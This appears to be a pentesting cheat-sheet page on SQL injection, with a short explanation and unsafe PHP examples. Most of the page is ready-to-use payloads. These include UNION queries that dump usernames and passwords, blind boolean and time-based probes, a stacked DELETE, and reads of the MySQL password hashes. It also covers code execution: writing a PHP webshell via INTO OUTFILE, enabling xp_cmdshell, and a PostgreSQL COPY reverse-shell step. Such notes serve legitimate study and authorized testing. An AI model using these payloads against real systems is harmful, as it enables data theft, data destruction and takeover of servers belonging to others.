# SQL Injection

## What is SQL Injection

SQL Injection is a type of cybersecurity vulnerability where an attacker manipulates a SQL query by injecting malicious SQL code into user inputs (e.g., login forms, search boxes) that are not properly sanitized. This allows the attacker to bypass authentication, access, modify, or delete database data, or even execute administrative operations on the database. SQL injection exploits occur when applications fail to validate or escape user-supplied input, making it possible to alter the intended behavior of SQL queries.

## Video explaination

{% embed url="<https://www.youtube.com/watch?v=wcaiKgQU6VE>" %}

## Types of SQL Injection

<figure><img src="https://1482599896-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnRXyYnODTImJmzJG5aHD%2Fuploads%2F0aAICvYlUE7GSAhM7PYR%2Fimage.png?alt=media&#x26;token=b231f8fe-4233-4030-9bf1-6fc19363d935" alt=""><figcaption><p>Types of SQL Injection</p></figcaption></figure>

## SQL Injection during code review

Below you can find examples of unsafe code leading to SQL Injection.

> If you want to correct the sanatize the input and do not use string concatenation.

```php
$username = $_GET['username'];

$sql = "SELECT * FROM users WHERE username = '$username'"; # case 1
$sql = "SELECT * FROM users WHERE username = " + $username; # case 2
```

## Exploiting SQL Injection

**Fuzz String**

```sql
'+!@#$
```

{% hint style="info" %}
Most of the time SQL Injections differ from the regular ones. Do not paste payloads thoughtlessly - match them to your specific case.
{% endhint %}

{% tabs %}
{% tab title="IN-BAND" %}
**STACKED QUERIES**

```sql
SELECT * FROM BOOKS WHERE ID1; DELETE FROM PRODUCTS;
```

***

**UNION Keyword**

{% hint style="info" %}

* It has to contain same amount of columns as the original query.
* The data types need to be compatible between each column.
* You can try to cast string as int e.g. in PostgreSQL
  {% endhint %}

Determine number of columns with order by (increase the number until it fails):

```sql
' ORDER BY 1-- //
```

***Sample final query:***

> If application does not return the output from given command it can me data type mismatch try to change the place of executed command.

```sql
%' UNION SELECT database(), user(), @@version, null, null -- //
```

Dumping other tables example

```sql
' UNION SELECT null, username, password, description, null FROM users -- //
```

***

#### IN KEYWORD

```sql
' or 1=1 in (SELECT password FROM users) -- //
```

{% endtab %}

{% tab title="BLIND" %}
**BOOLEAN BASED**

***If outputs of the payloads differ application is probably vulnerable to SQL Injection.***

Payload 1:

```sql
admin' AND 1=1 -- //
```

Payload 2:

```sql
admin' AND 1=2 -- //
```

***

**TIME BASED**

***Change response times to avoid false positives.***

```sql
admin' AND IF (1=1, sleep(3),'false') -- //
```

{% endtab %}
{% endtabs %}

## Useful SQL commands

{% tabs %}
{% tab title="MySQL" %}

```bash
mysql -u <USER> -p'<PASSWORD>' -h <IP> -P <PORT> # database connection
```

<pre class="language-sql"><code class="lang-sql"><strong>select version(); // show database version
</strong>select system_user(); // show current database user
show databases; // show databases
SELECT user, authentication_string FROM mysql.user WHERE user = '&#x3C;USER>'; // users password
</code></pre>

{% endtab %}

{% tab title="MSSQL" %}
Additional info about hidden system tables in MSSQL:

<https://www.geeksforgeeks.org/system-tables-in-sql/>

```bash
impacket-mssqlclient <USER>:<PASSWORD>@<IP> -windows-auth
```

```sql
SELECT @@version; // show database version
SELECT name FROM sys.databases; // show databases
SELECT * FROM <DATABASE>.information_schema.tables; // show tables
```

{% endtab %}
{% endtabs %}

## Manual Code Execution

{% tabs %}
{% tab title="MySQL" %}
{% hint style="info" %}
Common locations: ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www')
{% endhint %}

**INTO OUTFILE**

In some cases you can spawn the webshell using SQL Injection.

```sql
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
```

{% endtab %}

{% tab title="MSSQL" %}
{% hint style="info" %}
You can try to turn on xp\_cmdshell using oneliner ***; EXECUTE sp\_configure 'show advanced options', 1; RECONFIGURE; EXECUTE sp\_configure 'xp\_cmdshell', 1; RECONFIGURE; -- -***
{% endhint %}

If *xp\_cmdshell* is set to *True* we are able to execute shell commands on the system.

```sql
EXECUTE xp_cmdshell 'whoami';
```

{% endtab %}

{% tab title="PostgreSQL" %}
You can obtain reverse shell using COPY TO method \
(by providing malicious file and saving it to the system):

```sql
copy (select convert_from(decode($$ENCODED_PAYLOAD$$,$$base64$$),$$utf-8$$)) to $$REVERSE_SHELL_PATH$$;
```

Another way to obtain RCE is uploading compiled malicious extension (.dll):

// TODO
{% endtab %}
{% endtabs %}
